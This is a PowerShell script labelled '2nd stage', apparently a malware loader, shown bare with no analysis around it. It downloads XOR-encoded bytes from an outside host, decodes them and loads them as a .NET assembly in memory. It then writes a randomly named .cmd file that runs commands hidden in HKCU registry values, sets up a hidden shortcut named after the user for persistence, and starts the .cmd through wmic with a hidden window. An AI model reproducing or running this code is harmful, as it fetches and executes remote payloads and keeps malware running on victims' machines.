2nd stage

$bytes = (New-Object Net.WebClient).DownloadData("https://yipe.cebeer.com/?dmdmugyFZKsD9ZtBe8pKTMCSgpReWXlaxKCgYlI1MnfsCILXa3FjxwUoMiMYROSsOSOqjrjbOWurLMjuHl4AB6tr3Eb//fWEH/0b3QI1UsW1iQEr")

for($i=0; $i -lt $bytes.count; $i++)
{
    $bytes[$i] = $bytes[$i] -bxor 0x6A
}

[Reflection.Assembly]::Load($bytes)

$rInt = [Loader]::randomInt(4, 16)
$keyName = [Loader]::RandomString($rInt)
$prefix = "$([Loader]::RandomString($rInt))-"

[Loader]::Go3("https://yipe.cebeer.com","dWlmsAaAZacEuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqIR/mGlr+D1SfxHl1dgUg==","dmJlugeLa6oKuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqJW1Hbfq+D7R/QUlQUwVw==","dmBlsAyAYqcB8JtBe8pKTMCSgpReWXlaxKCgYlI1MnfsCILXa3FjxwUoMiMYROSsOSOqjrjbPFOwN9DFNHgABIFrwG3R3+WEH/0b3VNiA5PqgQgv","dmFiuAaBZaAAuIJdSOhrb8WFtI5PLQZAwcDca1tITnjlK6L0bndd2ARSTxQoft6IGQeMqJv6NXK6DerhCEAmIqJW1UvMotWjQfBawlFgBZ6/2Q8=",$keyName,$prefix)

$var1 = [Loader]::RandomString($rInt)
$var2 = [Loader]::RandomString($rInt)

$cmdFileName = "$([Loader]::outDir)\$([Loader]::RandomString([Loader]::randomInt(6, 16))).cmd"

$cmdSource  =  "@Echo off`r`n"
$cmdSource  += "Setlocal EnableExtensions`r`n"
$cmdSource  += "Setlocal EnableDelayedExpansion`r`n"
$cmdSource  += "Set $var1=HKCU`r`n"
$cmdSource  += "Set $var1=%$var1%\Software`r`n"
$cmdSource  += "Set $var1=%$var1%\$keyName`r`n"
$cmdSource  += "Set $var2=`r`n"
$cmdSource  += "FOR /F `"usebackq tokens=2*`" %%1 IN (``REG QUERY %$var1% ^| FIND /I `"$prefix`" 2^>nul``) DO (`r`n"
$cmdSource  += "Set $var2=!$var2!%%2`r`n"
$cmdSource  += ")`r`n"
$cmdSource  += "%$var2%`r`n"
$cmdSource | Set-Content $cmdFileName

$lnkFileName = "$([Loader]::outDir)\$env:USERNAME.lnk"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($lnkFilename)
$Shortcut.TargetPath = $cmdFileName
$Shortcut.WindowStyle = 7
$Shortcut.Save()

Start-Process "$env:SystemRoot\system32\wbem\wmic.exe" "process call create `"$cmdFileName`"" -WindowStyle hidden